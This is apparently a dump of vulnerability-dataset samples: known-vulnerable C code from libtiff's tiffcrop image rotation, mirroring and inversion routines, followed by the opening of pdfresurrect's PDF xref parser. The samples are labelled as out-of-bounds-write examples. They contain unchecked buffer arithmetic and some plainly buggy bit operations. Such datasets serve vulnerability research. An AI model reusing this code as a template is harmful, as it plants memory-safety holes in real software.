(rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; case 270: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = col * bytes_per_pixel; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src += rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = 0; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; default: break; } return (0); } /* end rotateImage */ static int reverseSamples8bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte, src_bit; uint32 bit_offset = 0; uint8 match_bits = 0, mask_bits = 0; uint8 buff1 = 0, buff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples8bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint8)-1 >> ( 8 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (8 - src_bit - bps); buff1 = ((*src) & match_bits) << (src_bit); if (ready_bits < 8) buff2 = (buff2 | (buff1 >> ready_bits)); else /* If we have a full buffer's worth, write it out */ { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end reverseSamples8bits */ static int reverseSamples16bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint16 match_bits = 0, mask_bits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSample16bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint16)-1 >> (16 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (16 - high_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 8) { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end reverseSamples16bits */ static int reverseSamples24bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint32 match_bits = 0, mask_bits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples24bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint32)-1 >> (32 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (32 - high_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 16) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end reverseSamples24bits */ static int reverseSamples32bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 bit_offset; uint32 src_byte = 0, high_bit = 0; uint32 col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 mask_bits = 0, match_bits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples32bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint64)-1 >> (64 - bps); dst = obuff; /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (64 - high_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & match_bits) << (high_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end reverseSamples32bits */ static int reverseSamplesBytes (uint16 spp, uint16 bps, uint32 width, uint8 *src, uint8 *dst) { int i; uint32 col, bytes_per_pixel, col_offset; uint8 bytebuff1; unsigned char swapbuff[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("reverseSamplesBytes","Invalid input or output buffer"); return (1); } bytes_per_pixel = ((bps * spp) + 7) / 8; switch (bps / 8) { case 8: /* Use memcpy for multiple bytes per sample data */ case 4: case 3: case 2: for (col = 0; col < (width / 2); col++) { col_offset = col * bytes_per_pixel; _TIFFmemcpy (swapbuff, src + col_offset, bytes_per_pixel); _TIFFmemcpy (src + col_offset, dst - col_offset - bytes_per_pixel, bytes_per_pixel); _TIFFmemcpy (dst - col_offset - bytes_per_pixel, swapbuff, bytes_per_pixel); } break; case 1: /* Use byte copy only for single byte per sample data */ for (col = 0; col < (width / 2); col++) { for (i = 0; i < spp; i++) { bytebuff1 = *src; *src++ = *(dst - spp + i); *(dst - spp + i) = bytebuff1; } dst -= spp; } break; default: TIFFError("reverseSamplesBytes","Unsupported bit depth %d", bps); return (1); } return (0); } /* end reverseSamplesBytes */ /* Mirror an image horizontally or vertically */ static int mirrorImage(uint16 spp, uint16 bps, uint16 mirror, uint32 width, uint32 length, unsigned char *ibuff) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, row_offset; unsigned char *line_buff = NULL; unsigned char *src; unsigned char *dst; src = ibuff; rowsize = ((width * bps * spp) + 7) / 8; switch (mirror) { case MIRROR_BOTH: case MIRROR_VERT: line_buff = (unsigned char *)_TIFFmalloc(rowsize); if (line_buff == NULL) { TIFFError ("mirrorImage", "Unable to allocate mirror line buffer of %1u bytes", rowsize); return (-1); } dst = ibuff + (rowsize * (length - 1)); for (row = 0; row < length / 2; row++) { _TIFFmemcpy(line_buff, src, rowsize); _TIFFmemcpy(src, dst, rowsize); _TIFFmemcpy(dst, line_buff, rowsize); src += (rowsize); dst -= (rowsize); } if (line_buff) _TIFFfree(line_buff); if (mirror == MIRROR_VERT) break; case MIRROR_HORIZ : if ((bps % 8) == 0) /* byte alligned data */ { for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; dst = ibuff + row_offset + rowsize; if (reverseSamplesBytes(spp, bps, width, src, dst)) { return (-1); } } } else { /* non 8 bit per sample data */ if (!(line_buff = (unsigned char *)_TIFFmalloc(rowsize + 1))) { TIFFError("mirrorImage", "Unable to allocate mirror line buffer"); return (-1); } bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; _TIFFmemset (line_buff, '\0', rowsize); switch (shift_width) { case 1: if (reverseSamples16bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 2: if (reverseSamples24bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; default: TIFFError("mirrorImage","Unsupported bit depth %d", bps); _TIFFfree(line_buff); return (-1); } } if (line_buff) _TIFFfree(line_buff); } break; default: TIFFError ("mirrorImage", "Invalid mirror axis %d", mirror); return (-1); break; } return (0); } /* Invert the light and dark values for a bilevel or grayscale image */ static int invertImage(uint16 photometric, uint16 spp, uint16 bps, uint32 width, uint32 length, unsigned char *work_buff) { uint32 row, col; unsigned char bytebuff1, bytebuff2, bytebuff3, bytebuff4; unsigned char *src; uint16 *src_uint16; uint32 *src_uint32; if (spp != 1) { TIFFError("invertImage", "Image inversion not supported for more than one sample per pixel"); return (-1); } if (photometric != PHOTOMETRIC_MINISWHITE && photometric != PHOTOMETRIC_MINISBLACK) { TIFFError("invertImage", "Only black and white and grayscale images can be inverted"); return (-1); } src = work_buff; if (src == NULL) { TIFFError ("invertImage", "Invalid crop buffer passed to invertImage"); return (-1); } switch (bps) { case 32: src_uint32 = (uint32 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint32 = (uint32)0xFFFFFFFF - *src_uint32; src_uint32++; } break; case 16: src_uint16 = (uint16 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint16 = (uint16)0xFFFF - *src_uint16; src_uint16++; } break; case 8: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src = (uint8)255 - *src; src++; } break; case 4: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 16 - (uint8)(*src & 240 >> 4); bytebuff2 = 16 - (*src & 15); *src = bytebuff1 << 4 & bytebuff2; src++; } break; case 2: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 4 - (uint8)(*src & 192 >> 6); bytebuff2 = 4 - (uint8)(*src & 48 >> 4); bytebuff3 = 4 - (uint8)(*src & 12 >> 2); bytebuff4 = 4 - (uint8)(*src & 3); *src = (bytebuff1 << 6) || (bytebuff2 << 4) || (bytebuff3 << 2) || bytebuff4; src++; } break; case 1: for (row = 0; row < length; row++) for (col = 0; col < width; col += 8 /(spp * bps)) { *src = ~(*src); src++; } break; default: TIFFError("invertImage", "Unsupported bit depth %d", bps); return (-1); } return (0); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5474_4
crossvul-cpp_data_bad_4263_1
/****************************************************************************** * pdf.c * * pdfresurrect - PDF history extraction tool * * Copyright (C) 2008-2010, 2012-2013, 2017-20, Matt Davis (enferex). * * Special thanks to all of the contributors: See AUTHORS. * * Special thanks to 757labs (757 crew), they are a great group * of people to hack on projects and brainstorm with. * * pdf.c is part of pdfresurrect. * pdfresurrect is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * pdfresurrect is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with pdfresurrect. If not, see <http://www.gnu.org/licenses/>. *****************************************************************************/ #include <stdlib.h> #include <string.h> #include <ctype.h> #include "pdf.h" #include "main.h" /* * Macros */ /* SAFE_F * * Safe file read: use for fgetc() calls, this is really ugly looking. * _fp: FILE * handle * _expr: The expression with fgetc() in it: * * example: If we get a character from the file and it is ascii character 'a' * This assumes the coder wants to store the 'a' in variable ch * Kinda pointless if you already know that you have 'a', but for * illustrative purposes. * * if (SAFE_F(my_fp, ((c=fgetc(my_fp)) == 'a'))) * do_way_cool_stuff(); */ #define SAFE_F(_fp, _expr) \ ((!ferror(_fp) && !feof(_fp) && (_expr))) /* FAIL * * Emit the diagnostic '_msg' and exit. * _msg: Message to emit prior to exiting. */ #define FAIL(_msg) \ do { \ ERR(_msg); \ exit(EXIT_FAILURE); \ } while (0) /* SAFE_E * * Safe expression handling. This macro is a wrapper * that compares the result of an expression (_expr) to the expected * value (_cmp). * * _expr: Expression to test. * _cmp: Expected value, error if this returns false. * _msg: What to say when an error occurs. */ #define SAFE_E(_expr, _cmp, _msg) \ do { \ if ((_expr) != (_cmp)) { \ FAIL(_msg); \ } \ } while (0) /* * Forwards */ static int is_valid_xref(FILE *fp, pdf_t *pdf, xref_t *xref); static void load_xref_entries(FILE *fp, xref_t *xref); static void load_xref_from_plaintext(FILE *fp, xref_t *xref); static void load_xref_from_stream(FILE *fp, xref_t *xref); static void get_xref_linear_skipped(FILE *fp, xref_t *xref); static void resolve_linearized_pdf(pdf_t *pdf); static pdf_creator_t *new_creator(int *n_elements); static void load_creator(FILE *fp, pdf_t *pdf); static void load_creator_from_buf( FILE *fp, xref_t *xref, const char *buf, size_t buf_size); static void load_creator_from_xml(xref_t *xref, const char *buf); static void load_creator_from_old_format( FILE *fp, xref_t *xref, const char *buf, size_t buf_size); static char *get_object_from_here(FILE *fp, size_t *size, int *is_stream); static char *get_object( FILE *fp, int obj_id, const xref_t *xref, size_t *size, int *is_stream); static const char *get_type(FILE *fp, int obj_id, const xref_t *xref); /* static int get_page(int obj_id, const xref_t *xref); */ static char *get_header(FILE *fp); static char *decode_text_string(const char *str, size_t str_len); static int get_next_eof(FILE *fp); /* * Defined */ pdf_t *pdf_new(const char *name) { const char *n; pdf_t *pdf; pdf = safe_calloc(sizeof(pdf_t)); if (name) { /* Just get the file name (not path) */ if ((n = strrchr(name, '/'))) ++n; else n = name; pdf->name = safe_calloc(strlen(n) + 1); strcpy(pdf->name, n); } else /* !name */ { pdf->name = safe_calloc(strlen("Unknown") + 1); strcpy(pdf->name, "Unknown"); } return pdf; } void pdf_delete(pdf_t *pdf) { int i; for (i=0; i<pdf->n_xrefs; i++) { free(pdf->xrefs[i].creator); free(pdf->xrefs[i].entries); } free(pdf->name); free(pdf->xrefs); free(pdf); } int pdf_is_pdf(FILE *fp) { int is_pdf; char *header; header = get_header(fp); if (header && strstr(header, "%PDF-")) is_pdf = 1; else is_pdf = 0; free(header); return is_pdf; } void pdf_get_version(FILE *fp, pdf_t *pdf) { char *header, *c; header = get_header(fp); /* Locate version string start and make sure we dont go past header */ if ((c = strstr(header, "%PDF-")) && (c + strlen("%PDF-M.m") + 2)) { pdf->pdf_major_version = atoi(c + strlen("%PDF-")); pdf->pdf_minor_version = atoi(c + strlen("%PDF-M.")); } free(header); } int pdf_load_xrefs(FILE *fp, pdf_t *pdf) { int i, ver, is_linear; long pos, pos_count; char x, *c, buf[256]; c = NULL; /* Count number of xrefs */ pdf->n_xrefs = 0; fseek(fp, 0, SEEK_SET); while (get_next_eof(fp) >= 0) ++pdf->n_xrefs; if (!pdf->n_xrefs) return 0; /* Load in the start/end positions */ fseek(fp, 0, SEEK_SET); pdf->xrefs = safe_calloc(sizeof(xref_t) * pdf->n_xrefs); ver = 1; for (i=0; i<pdf->n_xrefs; i++) { /* Seek to %%EOF */ if ((pos = get_next_eof(fp)) < 0) break; /* Set and increment the version */ pdf->xrefs[i].version = ver++; /* Rewind until we find end of "startxref" */ pos_count = 0; while (SAFE_F(fp, ((x = fgetc(fp)) != 'f'))) fseek(fp, pos - (++pos_count), SEEK_SET); /* Suck in end of "startxref" to start of %%EOF */ if (pos_count >= sizeof(buf)) { FAIL("Failed to locate the startxref token. " "This might be a corrupt PDF.\n"); } memset(buf, 0, sizeof(buf)); SAFE_E(fread(buf, 1, pos_count, fp), pos_count, "Failed to read startxref.\n"); c = buf; while (*c == ' ' || *c == '\n' || *c == '\r') ++c; /* xref start position */ pdf->xrefs[i].start = atol(c); /* If xref is 0 handle linear xref table */ if (pdf->xrefs[i].start == 0) get_xref_linear_skipped(fp, &pdf->xrefs[i]); /* Non-linear, normal operation, so just find the end of the xref */ else { /* xref end position */ pos = ftell(fp); fseek(fp, pdf->xrefs[i].start, SEEK_SET); pdf->xrefs[i].end = get_next_eof(fp); /* Look for next EOF and xref data */ fseek(fp, pos, SEEK_SET); } /* Check validity */ if (!is_valid_xref(fp, pdf, &pdf->xrefs[i])) { is_linear = pdf->xrefs[i].is_linear; memset(&pdf->xrefs[i], 0, sizeof(xref_t)); pdf->xrefs[i].is_linear = is_linear; rewind(fp); get_next_eof(fp); continue; } /* Load the entries from the xref */ load_xref_entries(fp, &pdf->xrefs[i]); } /* Now we have all xref tables, if this is linearized, we need * to make adjustments so that things spit out properly */ if (pdf->xrefs[0].is_linear) resolve_linearized_pdf(pdf); /* Ok now we have all xref data. Go through those versions of the * PDF and try to obtain creator information */ load_creator(fp, pdf); return pdf->n_xrefs; } /* Load page information */ char pdf_get_object_status( const pdf_t *pdf, int xref_idx, int entry_idx) { int i, curr_ver; const xref_t *prev_xref; const xref_entry_t *prev, *curr; curr = &pdf->xrefs[xref_idx].entries[entry_idx]; curr_ver = pdf->xrefs[xref_idx].version; if (curr_ver == 1) return 'A'; /* Deleted (freed) */ if (curr->f_or_n == 'f') return 'D'; /* Get previous version */ prev_xref = NULL; for (i=xref_idx; i>-1; --i) if (pdf->xrefs[i].version < curr_ver) { prev_xref = &pdf->xrefs[i]; break; } if (!prev_xref) return '?'; /* Locate the object in the previous one that matches current one */ prev = NULL; for (i=0; i<prev_xref->n_entries; ++i) if (prev_xref->entries[i].obj_id == curr->obj_id) { prev = &prev_xref->entries[i]; break; } /* Added in place of a previously freed id */ if (!prev || ((prev->f_or_n == 'f') && (curr->f_or_n == 'n'))) return 'A'; /* Modified */ else if (prev->offset != curr->offset) return 'M'; return '?'; } void pdf_zero_object( FILE *fp, const pdf_t *pdf, int xref_idx, int entry_idx) { int i; char *obj; size_t obj_sz; xref_entry_t *entry; entry = &pdf->xrefs[xref_idx].entries[entry_idx]; fseek(fp, entry->offset, SEEK_SET); /* Get object and size */ obj = get_object(fp, entry->obj_id, &pdf->xrefs[xref_idx], NULL, NULL); i = obj_sz = 0; while (strncmp((++i)+obj, "endobj", 6)) ++obj_sz; if (obj_sz) obj_sz += strlen("endobj") + 1; /* Zero object */ for (i=0; i<obj_sz; i++) fputc('0', fp); printf("Zeroed object %d\n", entry->obj_id); free(obj); } /* Output information per version */ void pdf_summarize( FILE *fp, const pdf_t *pdf, const char *name, pdf_flag_t flags) { int i, j, page, n_versions, n_entries; FILE *dst, *out; char *dst_name, *c; dst = NULL; dst_name = NULL; if (name) { dst_name = safe_calloc(strlen(name) * 2 + 16); sprintf(dst_name, "%s/%s", name, name); if ((c = strrchr(dst_name, '.')) && (strncmp(c, ".pdf", 4) == 0)) *c = '\0'; strcat(dst_name, ".summary"); if (!(dst = fopen(dst_name, "w"))) { ERR("Could not open file '%s' for writing\n", dst_name); return; } } /* Send output to file or stdout */ out = (dst) ? dst : stdout; /* Count versions */ n_versions = pdf->n_xrefs; if (n_versions && pdf->xrefs[0].is_linear) --n_versions; /* Ignore bad xref entry */ for (i=1; i<pdf->n_xrefs; ++i) if (pdf->xrefs[i].end == 0) --n_versions; /* If we have no valid versions but linear, count that */ if (!pdf->n_xrefs || (!n_versions && pdf->xrefs[0].is_linear)) n_versions = 1; /* Compare each object (if we dont have xref streams) */ n_entries = 0; for (i=0; !(const int)pdf->has_xref_streams && i<pdf->n_xrefs; i++) { if (flags & PDF_FLAG_QUIET) continue; for (j=0; j<pdf->xrefs[i].n_entries; j++) { ++n_entries; fprintf(out, "%s: --%c-- Version %d -- Object %d (%s)", pdf->name, pdf_get_object_status(pdf, i, j), pdf->xrefs[i].version, pdf->xrefs[i].entries[j].obj_id, get_type(fp, pdf->xrefs[i].entries[j].obj_id, &pdf->xrefs[i])); /* TODO page = get_page(pdf->xrefs[i].entries[j].obj_id, &pdf->xrefs[i]); */ if (0 /*page*/) fprintf(out, " Page(%d)\n", page); else fprintf(out, "\n"); } } /* Trailing summary */ if (!(flags & PDF_FLAG_QUIET)) { /* Let the user know that we cannot we print a per-object summary. * If we have a 1.5 PDF using streams for xref, we have not objects * to display, so let the user know whats up. */ if (pdf->has_xref_streams || !n_entries) fprintf(out, "%s: This PDF contains potential cross reference streams.\n" "%s: An object summary is not available.\n", pdf->name, pdf->name); fprintf(out, "---------- %s ----------\n" "Versions: %d\n", pdf->name, n_versions); /* Count entries for summary */ if (!pdf->has_xref_streams) for (i=0; i<pdf->n_xrefs; i++) { if (pdf->xrefs[i].is_linear) continue; n_entries = pdf->xrefs[i].n_entries; /* If we are a linearized PDF, all versions are made from those * objects too. So count em' */ if (pdf->xrefs[0].is_linear) n_entries += pdf->xrefs[0].n_entries; if (pdf->xrefs[i].version && n_entries) fprintf(out, "Version %d -- %d objects\n", pdf->xrefs[i].version, n_entries); } } else /* Quiet output */ fprintf(out, "%s: %d\n", pdf->name, n_versions); if (dst) { fclose(dst); free(dst_name); } } /* Returns '1' if we successfully display data (means its probably not xml) */ int pdf_display_creator(const pdf_t *pdf, int xref_idx) { int i; if (!pdf->xrefs[xref_idx].creator) return 0; for (i=0; i<pdf->xrefs[xref_idx].n_creator_entries; ++i) printf("%s: %s\n", pdf->xrefs[xref_idx].creator[i].key, pdf->xrefs[xref_idx].creator[i].value); return (i > 0); } /* Checks if the xref is valid and sets 'is_stream' flag if the xref is a * stream (PDF 1.5 or higher) */ static int is_valid_xref(FILE *fp, pdf_t *pdf, xref_t *xref) { int is_valid; long start; char *c, buf[16]; memset(buf, 0, sizeof(buf)); is_valid = 0; start = ftell(fp); fseek(fp, xref->start, SEEK_SET); if (fgets(buf, 16, fp) == NULL) { ERR("Failed to load xref string."); exit(EXIT_FAILURE); } if (strncmp(buf, "xref", strlen("xref")) == 0) is_valid = 1; else { /* PDFv1.5+ allows for xref data to be stored in streams vs plaintext */ fseek(fp, xref->start, SEEK_SET); c = get_object_from_here(fp, NULL, &xref->is_stream); if (c && xref->is_stream) { pdf->has_xref_streams = 1; is_valid = 1; } free(c); } fseek(fp, start, SEEK_SET); return is_valid; } static void load_xref_entries(FILE *fp, xref_t *xref) { if (xref->is_stream) load_xref_from_stream(fp, xref); else load_xref_from_plaintext(fp, xref); } static void load_xref_from_plaintext(FILE *fp, xref_t *xref) { int i, obj_id, added_entries; char c, buf[32] = {0}; long start, pos; size_t buf_idx; start = ftell(fp); /* Get number of entries */ pos = xref->end; fseek(fp, pos, SEEK_SET); while (ftell(fp) != 0) if (SAFE_F(fp, (fgetc(fp) == '/' && fgetc(fp) == 'S'))) break; else SAFE_E(fseek(fp, --pos, SEEK_SET), 0, "Failed seek to xref /Size.\n"); SAFE_E(fread(buf, 1, 21, fp), 21, "Failed to load entry Size string.\n"); xref->n_entries = atoi(buf + strlen("ize ")); xref->entries = safe_calloc(xref->n_entries * sizeof(struct _xref_entry)); /* Load entry data */ obj_id = 0; fseek(fp, xref->start + strlen("xref"), SEEK_SET); added_entries = 0; for (i=0; i<xref->n_entries; i++) { /* Advance past newlines. */ c = fgetc(fp); while (c == '\n' || c == '\r') c = fgetc(fp); /* Collect data up until the following newline. */ buf_idx = 0; while (c != '\n' && c != '\r' && !feof(fp) && !ferror(fp) && buf_idx < sizeof(buf)) { buf[buf_idx++] = c; c = fgetc(fp); } if (buf_idx >= sizeof(buf)) { FAIL("Failed to locate newline character. " "This might be a corrupt PDF.\n"); } buf[buf_idx] = '\0'; /* Went to far and hit start of trailer */ if (strchr(buf, 't')) break; /* Entry or object id */ if (strlen(buf) > 17) { const char *token = NULL; xref->entries[i].obj_id = obj_id++; token = strtok(buf, " "); if (!token) { FAIL("Failed to parse xref entry. " "This might be a corrupt PDF.\n"); } xref->entries[i].offset = atol(token); token = strtok(NULL, " "); if (!token) { FAIL("Failed to parse xref entry. " "This might be a corrupt PDF.\n"); } xref->entries[i].gen_num = atoi(token); xref->entries[i].f_or_n = buf[17]; ++added_entries; } else { obj_id = atoi(buf); --i; } } xref->n_entries = added_entries; fseek(fp, start, SEEK_SET); } /* Load an xref table from a stream (PDF v1.5 +) */ static void load_xref_from_stream(FILE *fp, xref_t *xref) { long start; int is_stream; char *stream; size_t size; start = ftell(fp); fseek(fp, xref->start, SEEK_SET); stream = NULL; stream = get_object_from_here(fp, &size, &is_stream); fseek(fp, start, SEEK_SET); /* TODO: decode and analyize stream */ free(stream); return; } static void get_xref_linear_skipped(FILE *fp, xref_t *xref) { int err; char ch, buf[256]; if (xref->start != 0) return; /* Special case (Linearized PDF with initial startxref at 0) */ xref->is_linear = 1; /* Seek to %%EOF */ if ((xref->end = get_next_eof(fp)) < 0) return; /* Locate the trailer */ err = 0; while (!(err = ferror(fp)) && fread(buf, 1, 8, fp)) { if (strncmp(buf, "trailer", strlen("trailer")) == 0) break; else if ((ftell(fp) - 9) < 0) return; fseek(fp, -9, SEEK_CUR); } if (err) return; /* If we found 'trailer' look backwards for 'xref' */ ch = 0; while (SAFE_F(fp, ((ch = fgetc(fp)) != 'x'))) fseek(fp, -2, SEEK_CUR); if (ch == 'x') { xref->start = ftell(fp) - 1; fseek(fp, -1, SEEK_CUR); } /* Now continue to next eof ... */ fseek(fp, xref->start, SEEK_SET); } /* This must only be called after all xref and entries have been acquired */ static void resolve_linearized_pdf(pdf_t *pdf) { int i; xref_t buf; if (pdf->n_xrefs < 2) return; if (!pdf->xrefs[0].is_linear) return; /* Swap Linear with Version 1 */ buf = pdf->xrefs[0]; pdf->xrefs[0] = pdf->xrefs[1]; pdf->xrefs[1] = buf; /* Resolve is_linear flag and version */ pdf->xrefs[0].is_linear = 1; pdf->xrefs[0].version = 1; pdf->xrefs[1].is_linear = 0; pdf->xrefs[1].version = 1; /* Adjust the other version values now */ for (i=2; i<pdf->n_xrefs; ++i) 